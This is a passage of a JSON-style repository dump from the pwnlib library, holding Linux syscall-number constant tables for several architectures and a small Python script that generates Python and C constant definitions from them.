__NR_listxattr\n#define SYS_llistxattr __NR_llistxattr\n#define SYS__llseek __NR__llseek\n#define SYS_lock __NR_lock\n#define SYS_lookup_dcookie __NR_lookup_dcookie\n#define SYS_lremovexattr __NR_lremovexattr\n#define SYS_lseek __NR_lseek\n#define SYS_lsetxattr __NR_lsetxattr\n#define SYS_lstat __NR_lstat\n#define SYS_lstat64 __NR_lstat64\n#define SYS_madvise __NR_madvise\n#define SYS_madvise1 __NR_madvise1\n#define SYS_map_shadow_stack __NR_map_shadow_stack\n#define SYS_mbind __NR_mbind\n#define SYS_membarrier __NR_membarrier\n#define SYS_memfd_create __NR_memfd_create\n#define SYS_memory_ordering __NR_memory_ordering\n#define SYS_migrate_pages __NR_migrate_pages\n#define SYS_mincore __NR_mincore\n#define SYS_mkdir __NR_mkdir\n#define SYS_mkdirat __NR_mkdirat\n#define SYS_mknod __NR_mknod\n#define SYS_mknodat __NR_mknodat\n#define SYS_mlock __NR_mlock\n#define SYS_mlock2 __NR_mlock2\n#define SYS_mlockall __NR_mlockall\n#define SYS_mmap __NR_mmap\n#define SYS_mmap2 __NR_mmap2\n#define SYS_modify_ldt __NR_modify_ldt\n#define SYS_mount __NR_mount\n#define SYS_mount_setattr __NR_mount_setattr\n#define SYS_move_mount __NR_move_mount\n#define SYS_move_pages __NR_move_pages\n#define SYS_mprotect __NR_mprotect\n#define SYS_mpx __NR_mpx\n#define SYS_mq_getsetattr __NR_mq_getsetattr\n#define SYS_mq_notify __NR_mq_notify\n#define SYS_mq_open __NR_mq_open\n#define SYS_mq_timedreceive __NR_mq_timedreceive\n#define SYS_mq_timedreceive_time64 __NR_mq_timedreceive_time64\n#define SYS_mq_timedsend __NR_mq_timedsend\n#define SYS_mq_timedsend_time64 __NR_mq_timedsend_time64\n#define SYS_mq_unlink __NR_mq_unlink\n#define SYS_mremap __NR_mremap\n#define SYS_msgctl __NR_msgctl\n#define SYS_msgget __NR_msgget\n#define SYS_msgrcv __NR_msgrcv\n#define SYS_msgsnd __NR_msgsnd\n#define SYS_msync __NR_msync\n#define SYS_multiplexer __NR_multiplexer\n#define SYS_munlock __NR_munlock\n#define SYS_munlockall __NR_munlockall\n#define SYS_munmap __NR_munmap\n#define SYS_name_to_handle_at __NR_name_to_handle_at\n#define SYS_nanosleep __NR_nanosleep\n#define SYS_newfstatat __NR_newfstatat\n#define SYS__newselect __NR__newselect\n#define SYS_nfsservctl __NR_nfsservctl\n#define SYS_nice __NR_nice\n#define SYS_ni_syscall __NR_ni_syscall\n#define SYS_OABI_SYSCALL_BASE __NR_OABI_SYSCALL_BASE\n#define SYS_old_adjtimex __NR_old_adjtimex\n#define SYS_oldfstat __NR_oldfstat\n#define SYS_old_getpagesize __NR_old_getpagesize\n#define SYS_oldlstat __NR_oldlstat\n#define SYS_oldolduname __NR_oldolduname\n#define SYS_oldstat __NR_oldstat\n#define SYS_oldumount __NR_oldumount\n#define SYS_olduname __NR_olduname\n#define SYS_open __NR_open\n#define SYS_openat __NR_openat\n#define SYS_openat2 __NR_openat2\n#define SYS_open_by_handle_at __NR_open_by_handle_at\n#define SYS_open_tree __NR_open_tree\n#define SYS_osf_adjtime __NR_osf_adjtime\n#define SYS_osf_afs_syscall __NR_osf_afs_syscall\n#define SYS_osf_alt_plock __NR_osf_alt_plock\n#define SYS_osf_alt_setsid __NR_osf_alt_setsid\n#define SYS_osf_alt_sigpending __NR_osf_alt_sigpending\n#define SYS_osf_asynch_daemon __NR_osf_asynch_daemon\n#define SYS_osf_audcntl __NR_osf_audcntl\n#define SYS_osf_audgen __NR_osf_audgen\n#define SYS_osf_chflags __NR_osf_chflags\n#define SYS_osf_execve __NR_osf_execve\n#define SYS_osf_exportfs __NR_osf_exportfs\n#define SYS_osf_fchflags __NR_osf_fchflags\n#define SYS_osf_fdatasync __NR_osf_fdatasync\n#define SYS_osf_fpathconf __NR_osf_fpathconf\n#define SYS_osf_fstatfs __NR_osf_fstatfs\n#define SYS_osf_fuser __NR_osf_fuser\n#define SYS_osf_getaddressconf __NR_osf_getaddressconf\n#define SYS_osf_getdirentries __NR_osf_getdirentries\n#define SYS_osf_getdomainname __NR_osf_getdomainname\n#define SYS_osf_getfh __NR_osf_getfh\n#define SYS_osf_getfsstat __NR_osf_getfsstat\n#define SYS_osf_gethostid __NR_osf_gethostid\n#define SYS_osf_getitimer __NR_osf_getitimer\n#define SYS_osf_getlogin __NR_osf_getlogin\n#define SYS_osf_getmnt __NR_osf_getmnt\n#define SYS_osf_getrusage __NR_osf_getrusage\n#define SYS_osf_getsysinfo __NR_osf_getsysinfo\n#define SYS_osf_gettimeofday __NR_osf_gettimeofday\n#define SYS_osf_kloadcall __NR_osf_kloadcall\n#define SYS_osf_kmodcall __NR_osf_kmodcall\n#define SYS_osf_memcntl __NR_osf_memcntl\n#define SYS_osf_mincore __NR_osf_mincore\n#define SYS_osf_mount __NR_osf_mount\n#define SYS_osf_mremap __NR_osf_mremap\n#define SYS_osf_msfs_syscall __NR_osf_msfs_syscall\n#define SYS_osf_msleep __NR_osf_msleep\n#define SYS_osf_mvalid __NR_osf_mvalid\n#define SYS_osf_mwakeup __NR_osf_mwakeup\n#define SYS_osf_naccept __NR_osf_naccept\n#define SYS_osf_nfssvc __NR_osf_nfssvc\n#define SYS_osf_ngetpeername __NR_osf_ngetpeername\n#define SYS_osf_ngetsockname __NR_osf_ngetsockname\n#define SYS_osf_nrecvfrom __NR_osf_nrecvfrom\n#define SYS_osf_nrecvmsg __NR_osf_nrecvmsg\n#define SYS_osf_nsendmsg __NR_osf_nsendmsg\n#define SYS_osf_ntp_adjtime __NR_osf_ntp_adjtime\n#define SYS_osf_ntp_gettime __NR_osf_ntp_gettime\n#define SYS_osf_old_creat __NR_osf_old_creat\n#define SYS_osf_old_fstat __NR_osf_old_fstat\n#define SYS_osf_old_getpgrp __NR_osf_old_getpgrp\n#define SYS_osf_old_killpg __NR_osf_old_killpg\n#define SYS_osf_old_lstat __NR_osf_old_lstat\n#define SYS_osf_old_open __NR_osf_old_open\n#define SYS_osf_oldquota __NR_osf_oldquota\n#define SYS_osf_old_sigaction __NR_osf_old_sigaction\n#define SYS_osf_old_sigblock __NR_osf_old_sigblock\n#define SYS_osf_old_sigreturn __NR_osf_old_sigreturn\n#define SYS_osf_old_sigsetmask __NR_osf_old_sigsetmask\n#define SYS_osf_old_sigvec __NR_osf_old_sigvec\n#define SYS_osf_old_stat __NR_osf_old_stat\n#define SYS_osf_old_vadvise __NR_osf_old_vadvise\n#define SYS_osf_old_vtrace __NR_osf_old_vtrace\n#define SYS_osf_old_wait __NR_osf_old_wait\n#define SYS_osf_pathconf __NR_osf_pathconf\n#define SYS_osf_pid_block __NR_osf_pid_block\n#define SYS_osf_pid_unblock __NR_osf_pid_unblock\n#define SYS_osf_plock __NR_osf_plock\n#define SYS_osf_priocntlset __NR_osf_priocntlset\n#define SYS_osf_profil __NR_osf_profil\n#define SYS_osf_proplist_syscall __NR_osf_proplist_syscall\n#define SYS_osf_reboot __NR_osf_reboot\n#define SYS_osf_revoke __NR_osf_revoke\n#define SYS_osf_sbrk __NR_osf_sbrk\n#define SYS_osf_security __NR_osf_security\n#define SYS_osf_select __NR_osf_select\n#define SYS_osf_sethostid __NR_osf_sethostid\n#define SYS_osf_setitimer __NR_osf_setitimer\n#define SYS_osf_setlogin __NR_osf_setlogin\n#define SYS_osf_set_program_attributes __NR_osf_set_program_attributes\n#define SYS_osf_set_speculative __NR_osf_set_speculative\n#define SYS_osf_setsysinfo __NR_osf_setsysinfo\n#define SYS_osf_settimeofday __NR_osf_settimeofday\n#define SYS_osf_shmat __NR_osf_shmat\n#define SYS_osf_signal __NR_osf_signal\n#define SYS_osf_sigprocmask __NR_osf_sigprocmask\n#define SYS_osf_sigsendset __NR_osf_sigsendset\n#define SYS_osf_sigstack __NR_osf_sigstack\n#define SYS_osf_sigwaitprim __NR_osf_sigwaitprim\n#define SYS_osf_sstk __NR_osf_sstk\n#define SYS_osf_statfs __NR_osf_statfs\n#define SYS_osf_subsys_info __NR_osf_subsys_info\n#define SYS_osf_swapctl __NR_osf_swapctl\n#define SYS_osf_swapon __NR_osf_swapon\n#define SYS_osf_syscall __NR_osf_syscall\n#define SYS_osf_sysinfo __NR_osf_sysinfo\n#define SYS_osf_table __NR_osf_table\n#define SYS_osf_uadmin __NR_osf_uadmin\n#define SYS_osf_usleep_thread __NR_osf_usleep_thread\n#define SYS_osf_uswitch __NR_osf_uswitch\n#define SYS_osf_utc_adjtime __NR_osf_utc_adjtime\n#define SYS_osf_utc_gettime __NR_osf_utc_gettime\n#define SYS_osf_utimes __NR_osf_utimes\n#define SYS_osf_utsname __NR_osf_utsname\n#define SYS_osf_wait4 __NR_osf_wait4\n#define SYS_osf_waitid __NR_osf_waitid\n#define SYS_pause __NR_pause\n#define SYS_pciconfig_iobase __NR_pciconfig_iobase\n#define SYS_pciconfig_read __NR_pciconfig_read\n#define SYS_pciconfig_write __NR_pciconfig_write\n#define SYS_perfctr __NR_perfctr\n#define SYS_perf_event_open __NR_perf_event_open\n#define SYS_perfmonctl __NR_perfmonctl\n#define SYS_personality __NR_personality\n#define SYS_pidfd_getfd __NR_pidfd_getfd\n#define SYS_pidfd_open __NR_pidfd_open\n#define SYS_pidfd_send_signal __NR_pidfd_send_signal\n#define SYS_pipe __NR_pipe\n#define SYS_pipe2 __NR_pipe2\n#define SYS_pivot_root __NR_pivot_root\n#define SYS_pkey_alloc __NR_pkey_alloc\n#define SYS_pkey_free __NR_pkey_free\n#define SYS_pkey_mprotect __NR_pkey_mprotect\n#define SYS_poll __NR_poll\n#define SYS_ppoll __NR_ppoll\n#define SYS_ppoll_time64 __NR_ppoll_time64\n#define SYS_prctl __NR_prctl\n#define SYS_pread __NR_pread\n#define SYS_pread64 __NR_pread64\n#define SYS_preadv __NR_preadv\n#define SYS_preadv2 __NR_preadv2\n#define SYS_prlimit64 __NR_prlimit64\n#define SYS_process_madvise __NR_process_madvise\n#define SYS_process_mrelease __NR_process_mrelease\n#define SYS_process_vm_readv __NR_process_vm_readv\n#define SYS_process_vm_writev __NR_process_vm_writev\n#define SYS_prof __NR_prof\n#define SYS_profil __NR_profil\n#define SYS_pselect6 __NR_pselect6\n#define SYS_pselect6_time64 __NR_pselect6_time64\n#define SYS_ptrace __NR_ptrace\n#define SYS_putmsg __NR_putmsg\n#define SYS_putpmsg __NR_putpmsg\n#define SYS_pwrite __NR_pwrite\n#define SYS_pwrite64 __NR_pwrite64\n#define SYS_pwritev __NR_pwritev\n#define SYS_pwritev2 __NR_pwritev2\n#define SYS_query_module __NR_query_module\n#define SYS_quotactl __NR_quotactl\n#define SYS_quotactl_fd __NR_quotactl_fd\n#define SYS_read __NR_read\n#define SYS_readahead __NR_readahead\n#define SYS_readdir __NR_readdir\n#define SYS_readlink __NR_readlink\n#define SYS_readlinkat __NR_readlinkat\n#define SYS_readv __NR_readv\n#define SYS_reboot __NR_reboot\n#define SYS_recv __NR_recv\n#define SYS_recvfrom __NR_recvfrom\n#define SYS_recvmmsg __NR_recvmmsg\n#define SYS_recvmmsg_time64 __NR_recvmmsg_time64\n#define SYS_recvmsg __NR_recvmsg\n#define SYS_remap_file_pages __NR_remap_file_pages\n#define SYS_removexattr __NR_removexattr\n#define SYS_rename __NR_rename\n#define SYS_renameat __NR_renameat\n#define SYS_renameat2 __NR_renameat2\n#define SYS_request_key __NR_request_key\n#define SYS_reserved177 __NR_reserved177\n#define SYS_reserved193 __NR_reserved193\n#define SYS_reserved221 __NR_reserved221\n#define SYS_reserved82 __NR_reserved82\n#define SYS_restart_syscall __NR_restart_syscall\n#define SYS_riscv_flush_icache __NR_riscv_flush_icache\n#define SYS_rmdir __NR_rmdir\n#define SYS_rseq __NR_rseq\n#define SYS_rtas __NR_rtas\n#define SYS_rt_sigaction __NR_rt_sigaction\n#define SYS_rt_sigpending __NR_rt_sigpending\n#define SYS_rt_sigprocmask __NR_rt_sigprocmask\n#define SYS_rt_sigqueueinfo __NR_rt_sigqueueinfo\n#define SYS_rt_sigreturn __NR_rt_sigreturn\n#define SYS_rt_sigsuspend __NR_rt_sigsuspend\n#define SYS_rt_sigtimedwait __NR_rt_sigtimedwait\n#define SYS_rt_sigtimedwait_time64 __NR_rt_sigtimedwait_time64\n#define SYS_rt_tgsigqueueinfo __NR_rt_tgsigqueueinfo\n#define SYS_s390_guarded_storage __NR_s390_guarded_storage\n#define SYS_s390_pci_mmio_read __NR_s390_pci_mmio_read\n#define SYS_s390_pci_mmio_write __NR_s390_pci_mmio_write\n#define SYS_s390_runtime_instr __NR_s390_runtime_instr\n#define SYS_s390_sthyi __NR_s390_sthyi\n#define SYS_sched_getaffinity __NR_sched_getaffinity\n#define SYS_sched_getattr __NR_sched_getattr\n#define SYS_sched_getparam __NR_sched_getparam\n#define SYS_sched_get_priority_max __NR_sched_get_priority_max\n#define SYS_sched_get_priority_min __NR_sched_get_priority_min\n#define SYS_sched_getscheduler __NR_sched_getscheduler\n#define SYS_sched_rr_get_interval __NR_sched_rr_get_interval\n#define SYS_sched_rr_get_interval_time64 __NR_sched_rr_get_interval_time64\n#define SYS_sched_setaffinity __NR_sched_setaffinity\n#define SYS_sched_setattr __NR_sched_setattr\n#define SYS_sched_setparam __NR_sched_setparam\n#define SYS_sched_setscheduler __NR_sched_setscheduler\n#define SYS_sched_yield __NR_sched_yield\n#define SYS_seccomp __NR_seccomp\n#define SYS_security __NR_security\n#define SYS_select __NR_select\n#define SYS_semctl __NR_semctl\n#define SYS_semget __NR_semget\n#define SYS_semop __NR_semop\n#define SYS_semtimedop __NR_semtimedop\n#define SYS_semtimedop_time64 __NR_semtimedop_time64\n#define SYS_send __NR_send\n#define SYS_sendfile __NR_sendfile\n#define SYS_sendfile64 __NR_sendfile64\n#define SYS_sendmmsg __NR_sendmmsg\n#define SYS_sendmsg __NR_sendmsg\n#define SYS_sendto __NR_sendto\n#define SYS_setdomainname __NR_setdomainname\n#define SYS_setfsgid __NR_setfsgid\n#define SYS_setfsgid32 __NR_setfsgid32\n#define SYS_setfsuid __NR_setfsuid\n#define SYS_setfsuid32 __NR_setfsuid32\n#define SYS_setgid __NR_setgid\n#define SYS_setgid32 __NR_setgid32\n#define SYS_setgroups __NR_setgroups\n#define SYS_setgroups32 __NR_setgroups32\n#define SYS_sethae __NR_sethae\n#define SYS_sethostname __NR_sethostname\n#define SYS_setitimer __NR_setitimer\n#define SYS_set_mempolicy __NR_set_mempolicy\n#define SYS_set_mempolicy_home_node __NR_set_mempolicy_home_node\n#define SYS_setns __NR_setns\n#define SYS_setpgid __NR_setpgid\n#define SYS_setpgrp __NR_setpgrp\n#define SYS_setpriority __NR_setpriority\n#define SYS_setregid __NR_setregid\n#define SYS_setregid32 __NR_setregid32\n#define SYS_setresgid __NR_setresgid\n#define SYS_setresgid32 __NR_setresgid32\n#define SYS_setresuid __NR_setresuid\n#define SYS_setresuid32 __NR_setresuid32\n#define SYS_setreuid __NR_setreuid\n#define SYS_setreuid32 __NR_setreuid32\n#define SYS_setrlimit __NR_setrlimit\n#define SYS_set_robust_list __NR_set_robust_list\n#define SYS_setsid __NR_setsid\n#define SYS_setsockopt __NR_setsockopt\n#define SYS_set_thread_area __NR_set_thread_area\n#define SYS_set_tid_address __NR_set_tid_address\n#define SYS_settimeofday __NR_settimeofday\n#define SYS_setuid __NR_setuid\n#define SYS_setuid32 __NR_setuid32\n#define SYS_setxattr __NR_setxattr\n#define SYS_set_zone_reclaim __NR_set_zone_reclaim\n#define SYS_sgetmask __NR_sgetmask\n#define SYS_shmat __NR_shmat\n#define SYS_shmctl __NR_shmctl\n#define SYS_shmdt __NR_shmdt\n#define SYS_shmget __NR_shmget\n#define SYS_shutdown __NR_shutdown\n#define SYS_sigaction __NR_sigaction\n#define SYS_sigaltstack __NR_sigaltstack\n#define SYS_signal __NR_signal\n#define SYS_signalfd __NR_signalfd\n#define SYS_signalfd4 __NR_signalfd4\n#define SYS_sigpending __NR_sigpending\n#define SYS_sigprocmask __NR_sigprocmask\n#define SYS_sigreturn __NR_sigreturn\n#define SYS_sigsuspend __NR_sigsuspend\n#define SYS_socket __NR_socket\n#define SYS_socketcall __NR_socketcall\n#define SYS_socketpair __NR_socketpair\n#define SYS_splice __NR_splice\n#define SYS_spu_create __NR_spu_create\n#define SYS_spu_run __NR_spu_run\n#define SYS_ssetmask __NR_ssetmask\n#define SYS_stat __NR_stat\n#define SYS_stat64 __NR_stat64\n#define SYS_statfs __NR_statfs\n#define SYS_statfs64 __NR_statfs64\n#define SYS_statx __NR_statx\n#define SYS_stime __NR_stime\n#define SYS_stty __NR_stty\n#define SYS_subpage_prot __NR_subpage_prot\n#define SYS_swapcontext __NR_swapcontext\n#define SYS_swapoff __NR_swapoff\n#define SYS_swapon __NR_swapon\n#define SYS_switch_endian __NR_switch_endian\n#define SYS_symlink __NR_symlink\n#define SYS_symlinkat __NR_symlinkat\n#define SYS_sync __NR_sync\n#define SYS_sync_file_range __NR_sync_file_range\n#define SYS_sync_file_range2 __NR_sync_file_range2\n#define SYS_syncfs __NR_syncfs\n#define SYS_syscall __NR_syscall\n#define SYS_SYSCALL_BASE __NR_SYSCALL_BASE\n#define SYS__sysctl __NR__sysctl\n#define SYS_sys_debug_setcontext __NR_sys_debug_setcontext\n#define SYS_sys_epoll_create __NR_sys_epoll_create\n#define SYS_sys_epoll_ctl __NR_sys_epoll_ctl\n#define SYS_sys_epoll_wait __NR_sys_epoll_wait\n#define SYS_sysfs __NR_sysfs\n#define SYS_sysinfo __NR_sysinfo\n#define SYS_sys_kexec_load __NR_sys_kexec_load\n#define SYS_syslog __NR_syslog\n#define SYS_sysmips __NR_sysmips\n#define SYS_sysriscv __NR_sysriscv\n#define SYS_sys_setaltroot __NR_sys_setaltroot\n#define SYS_tee __NR_tee\n#define SYS_tgkill __NR_tgkill\n#define SYS_time __NR_time\n#define SYS_timer_create __NR_timer_create\n#define SYS_timer_delete __NR_timer_delete\n#define SYS_timerfd __NR_timerfd\n#define SYS_timerfd_create __NR_timerfd_create\n#define SYS_timerfd_gettime __NR_timerfd_gettime\n#define SYS_timerfd_gettime64 __NR_timerfd_gettime64\n#define SYS_timerfd_settime __NR_timerfd_settime\n#define SYS_timerfd_settime64 __NR_timerfd_settime64\n#define SYS_timer_getoverrun __NR_timer_getoverrun\n#define SYS_timer_gettime __NR_timer_gettime\n#define SYS_timer_gettime64 __NR_timer_gettime64\n#define SYS_timer_settime __NR_timer_settime\n#define SYS_timer_settime64 __NR_timer_settime64\n#define SYS_times __NR_times\n#define SYS_tkill __NR_tkill\n#define SYS_truncate __NR_truncate\n#define SYS_truncate64 __NR_truncate64\n#define SYS_tuxcall __NR_tuxcall\n#define SYS_ugetrlimit __NR_ugetrlimit\n#define SYS_ulimit __NR_ulimit\n#define SYS_umask __NR_umask\n#define SYS_umount __NR_umount\n#define SYS_umount2 __NR_umount2\n#define SYS_umount_with_flags __NR_umount_with_flags\n#define SYS_umount_without_flags __NR_umount_without_flags\n#define SYS_uname __NR_uname\n#define SYS_unlink __NR_unlink\n#define SYS_unlinkat __NR_unlinkat\n#define SYS_unshare __NR_unshare\n#define SYS_unused109 __NR_unused109\n#define SYS_unused150 __NR_unused150\n#define SYS_unused18 __NR_unused18\n#define SYS_unused28 __NR_unused28\n#define SYS_unused59 __NR_unused59\n#define SYS_unused84 __NR_unused84\n#define SYS_uselib __NR_uselib\n#define SYS_userfaultfd __NR_userfaultfd\n#define SYS_ustat __NR_ustat\n#define SYS_utime __NR_utime\n#define SYS_utimensat __NR_utimensat\n#define SYS_utimensat_time64 __NR_utimensat_time64\n#define SYS_utimes __NR_utimes\n#define SYS_utrap_install __NR_utrap_install\n#define SYS_vfork __NR_vfork\n#define SYS_vhangup __NR_vhangup\n#define SYS_vm86 __NR_vm86\n#define SYS_vm86old __NR_vm86old\n#define SYS_vmsplice __NR_vmsplice\n#define SYS_vserver __NR_vserver\n#define SYS_wait4 __NR_wait4\n#define SYS_waitid __NR_waitid\n#define SYS_waitpid __NR_waitpid\n#define SYS_write __NR_write\n#define SYS_writev __NR_writev\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/thumb.h",
    "content": "#define __arm__\n#define __thumb__\n#include <arm/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/load_constants.py",
    "content": "#!/usr/bin/env python3\nimport re\nimport sys\n\nfrom pwnlib.util import safeeval\n\npython = open(sys.argv[1], \"w\")\nheader = open(sys.argv[2], \"w\")\n\nprint('from pwnlib.constants.constant import Constant', file=python)\n\ndata = sys.stdin.read().strip().split('\\n')\n\nres = \"\"\nregex = re.compile('^%constant ([^=]+) = ([^\";]+);')\nfor l in data:\n    m = regex.match(l)\n    if not m:\n        continue\n    if '\"' in l or '=' not in l or ';' not in l or not l.startswith('%constant '):\n        continue\n\n    key = m.group(1)\n    val = m.group(2)\n\n    # Handle weird special cases from C syntax\n    paren = False\n    if val[:1] == '(' and val[-1:] == ')' and ')' not in val[1:-1]:\n        val = val[1:-1]\n        paren = True\n    val = val.rstrip('UuLl')\n    val = val.replace('7ll', '7')\n\n    if re.match(r'^0[0-9]', val):\n        val = '0o'+val[1:]\n    val = re.sub(r'([|^&( ]0)([0-7])', r'\\1o\\2', val)\n\n    if paren:\n        val = '(%s)' % val\n    print(\"{key} = Constant({key!r},{val})\".format(**locals()), file=python)\n    if re.search(r'0o[0-7]', val) or re.match(r'[^0-9a-fA-Fx]0[0-9]', val):\n        print(\"#define %s %s\" % (key, hex(safeeval.expr(val))), file=header)\n    else:\n        print(\"#define %s %s\" % (key, val), file=header)\n"
  },
  {
    "path": "pwnlib/data/includes/linux/aarch64.h",
    "content": "#define _AARCH64_SYSCALL_H 1\n#define __NR_io_setup 0\n#define __NR_io_destroy 1\n#define __NR_io_submit 2\n#define __NR_io_cancel 3\n#define __NR_io_getevents 4\n#define __NR_setxattr 5\n#define __NR_lsetxattr 6\n#define __NR_fsetxattr 7\n#define __NR_getxattr 8\n#define __NR_lgetxattr 9\n#define __NR_fgetxattr 10\n#define __NR_listxattr 11\n#define __NR_llistxattr 12\n#define __NR_flistxattr 13\n#define __NR_removexattr 14\n#define __NR_lremovexattr 15\n#define __NR_fremovexattr 16\n#define __NR_getcwd 17\n#define __NR_lookup_dcookie 18\n#define __NR_eventfd2 19\n#define __NR_epoll_create1 20\n#define __NR_epoll_ctl 21\n#define __NR_epoll_pwait 22\n#define __NR_dup 23\n#define __NR_dup3 24\n#define __NR_fcntl 25\n#define __NR_inotify_init1 26\n#define __NR_inotify_add_watch 27\n#define __NR_inotify_rm_watch 28\n#define __NR_ioctl 29\n#define __NR_ioprio_set 30\n#define __NR_ioprio_get 31\n#define __NR_flock 32\n#define __NR_mknodat 33\n#define __NR_mkdirat 34\n#define __NR_unlinkat 35\n#define __NR_symlinkat 36\n#define __NR_linkat 37\n#define __NR_renameat 38\n#define __NR_umount2 39\n#define __NR_mount 40\n#define __NR_pivot_root 41\n#define __NR_nfsservctl 42\n#define __NR_statfs 43\n#define __NR_fstatfs 44\n#define __NR_truncate 45\n#define __NR_ftruncate 46\n#define __NR_fallocate 47\n#define __NR_faccessat 48\n#define __NR_chdir 49\n#define __NR_fchdir 50\n#define __NR_chroot 51\n#define __NR_fchmod 52\n#define __NR_fchmodat 53\n#define __NR_fchownat 54\n#define __NR_fchown 55\n#define __NR_openat 56\n#define __NR_close 57\n#define __NR_vhangup 58\n#define __NR_pipe2 59\n#define __NR_quotactl 60\n#define __NR_getdents64 61\n#define __NR_lseek 62\n#define __NR_read 63\n#define __NR_write 64\n#define __NR_readv 65\n#define __NR_writev 66\n#define __NR_pread64 67\n#define __NR_pwrite64 68\n#define __NR_preadv 69\n#define __NR_pwritev 70\n#define __NR_sendfile 71\n#define __NR_pselect6 72\n#define __NR_ppoll 73\n#define __NR_signalfd4 74\n#define __NR_vmsplice 75\n#define __NR_splice 76\n#define __NR_tee 77\n#define __NR_readlinkat 78\n#define __NR_fstatat 79\n#define __NR_newfstatat 79\n#define __NR_fstat 80\n#define __NR_sync 81\n#define __NR_fsync 82\n#define __NR_fdatasync 83\n#define __NR_sync_file_range 84\n#define __NR_timerfd_create 85\n#define __NR_timerfd_settime 86\n#define __NR_timerfd_gettime 87\n#define __NR_utimensat 88\n#define __NR_acct 89\n#define __NR_capget 90\n#define __NR_capset 91\n#define __NR_personality 92\n#define __NR_exit 93\n#define __NR_exit_group 94\n#define __NR_waitid 95\n#define __NR_set_tid_address 96\n#define __NR_unshare 97\n#define __NR_futex 98\n#define __NR_set_robust_list 99\n#define __NR_get_robust_list 100\n#define __NR_nanosleep 101\n#define __NR_getitimer 102\n#define __NR_setitimer 103\n#define __NR_kexec_load 104\n#define __NR_init_module 105\n#define __NR_delete_module 106\n#define __NR_timer_create 107\n#define __NR_timer_gettime 108\n#define __NR_timer_getoverrun 109\n#define __NR_timer_settime 110\n#define __NR_timer_delete 111\n#define __NR_clock_settime 112\n#define __NR_clock_gettime 113\n#define __NR_clock_getres 114\n#define __NR_clock_nanosleep 115\n#define __NR_syslog 116\n#define __NR_ptrace 117\n#define __NR_sched_setparam 118\n#define __NR_sched_setscheduler 119\n#define __NR_sched_getscheduler 120\n#define __NR_sched_getparam 121\n#define __NR_sched_setaffinity 122\n#define __NR_sched_getaffinity 123\n#define __NR_sched_yield 124\n#define __NR_sched_get_priority_max 125\n#define __NR_sched_get_priority_min 126\n#define __NR_sched_rr_get_interval 127\n#define __NR_restart_syscall 128\n#define __NR_kill 129\n#define __NR_tkill 130\n#define __NR_tgkill 131\n#define __NR_sigaltstack 132\n#define __NR_rt_sigsuspend 133\n#define __NR_rt_sigaction 134\n#define __NR_rt_sigprocmask 135\n#define __NR_rt_sigpending 136\n#define __NR_rt_sigtimedwait 137\n#define __NR_rt_sigqueueinfo 138\n#define __NR_rt_sigreturn 139\n#define __NR_setpriority 140\n#define __NR_getpriority 141\n#define __NR_reboot 142\n#define __NR_setregid 143\n#define __NR_setgid 144\n#define __NR_setreuid 145\n#define __NR_setuid 146\n#define __NR_setresuid 147\n#define __NR_getresuid 148\n#define __NR_setresgid 149\n#define __NR_getresgid 150\n#define __NR_setfsuid 151\n#define __NR_setfsgid 152\n#define __NR_times 153\n#define __NR_setpgid 154\n#define __NR_getpgid 155\n#define __NR_getsid 156\n#define __NR_setsid 157\n#define __NR_getgroups 158\n#define __NR_setgroups 159\n#define __NR_uname 160\n#define __NR_sethostname 161\n#define __NR_setdomainname 162\n#define __NR_getrlimit 163\n#define __NR_setrlimit 164\n#define __NR_getrusage 165\n#define __NR_umask 166\n#define __NR_prctl 167\n#define __NR_getcpu 168\n#define __NR_gettimeofday 169\n#define __NR_settimeofday 170\n#define __NR_adjtimex 171\n#define __NR_getpid 172\n#define __NR_getppid 173\n#define __NR_getuid 174\n#define __NR_geteuid 175\n#define __NR_getgid 176\n#define __NR_getegid 177\n#define __NR_gettid 178\n#define __NR_sysinfo 179\n#define __NR_mq_open 180\n#define __NR_mq_unlink 181\n#define __NR_mq_timedsend 182\n#define __NR_mq_timedreceive 183\n#define __NR_mq_notify 184\n#define __NR_mq_getsetattr 185\n#define __NR_msgget 186\n#define __NR_msgctl 187\n#define __NR_msgrcv 188\n#define __NR_msgsnd 189\n#define __NR_semget 190\n#define __NR_semctl 191\n#define __NR_semtimedop 192\n#define __NR_semop 193\n#define __NR_shmget 194\n#define __NR_shmctl 195\n#define __NR_shmat 196\n#define __NR_shmdt 197\n#define __NR_socket 198\n#define __NR_socketpair 199\n#define __NR_bind 200\n#define __NR_listen 201\n#define __NR_accept 202\n#define __NR_connect 203\n#define __NR_getsockname 204\n#define __NR_getpeername 205\n#define __NR_sendto 206\n#define __NR_recvfrom 207\n#define __NR_setsockopt 208\n#define __NR_getsockopt 209\n#define __NR_shutdown 210\n#define __NR_sendmsg 211\n#define __NR_recvmsg 212\n#define __NR_readahead 213\n#define __NR_brk 214\n#define __NR_munmap 215\n#define __NR_mremap 216\n#define __NR_add_key 217\n#define __NR_request_key 218\n#define __NR_keyctl 219\n#define __NR_clone 220\n#define __NR_execve 221\n#define __NR_mmap 222\n#define __NR_fadvise64 223\n#define __NR_swapon 224\n#define __NR_swapoff 225\n#define __NR_mprotect 226\n#define __NR_msync 227\n#define __NR_mlock 228\n#define __NR_munlock 229\n#define __NR_mlockall 230\n#define __NR_munlockall 231\n#define __NR_mincore 232\n#define __NR_madvise 233\n#define __NR_remap_file_pages 234\n#define __NR_mbind 235\n#define __NR_get_mempolicy 236\n#define __NR_set_mempolicy 237\n#define __NR_migrate_pages 238\n#define __NR_move_pages 239\n#define __NR_rt_tgsigqueueinfo 240\n#define __NR_perf_event_open 241\n#define __NR_accept4 242\n#define __NR_recvmmsg 243\n#define __NR_arch_specific_syscall 244\n#define __NR_wait4 260\n#define __NR_prlimit64 261\n#define __NR_fanotify_init 262\n#define __NR_fanotify_mark 263\n#define __NR_name_to_handle_at 264\n#define __NR_open_by_handle_at 265\n#define __NR_clock_adjtime 266\n#define __NR_syncfs 267\n#define __NR_setns 268\n#define __NR_sendmmsg 269\n#define __NR_process_vm_readv 270\n#define __NR_process_vm_writev 271\n#define __NR_kcmp 272\n#define __NR_finit_module 273\n#define __NR_sched_setattr 274\n#define __NR_sched_getattr 275\n#define __NR_renameat2 276\n#define __NR_seccomp 277\n#define __NR_getrandom 278\n#define __NR_memfd_create 279\n#define __NR_bpf 280\n#define __NR_execveat 281\n#define __NR_userfaultfd 282\n#define __NR_membarrier 283\n#define __NR_mlock2 284\n#define __NR_copy_file_range 285\n#define __NR_preadv2 286\n#define __NR_pwritev2 287\n#define __NR_pkey_mprotect 288\n#define __NR_pkey_alloc 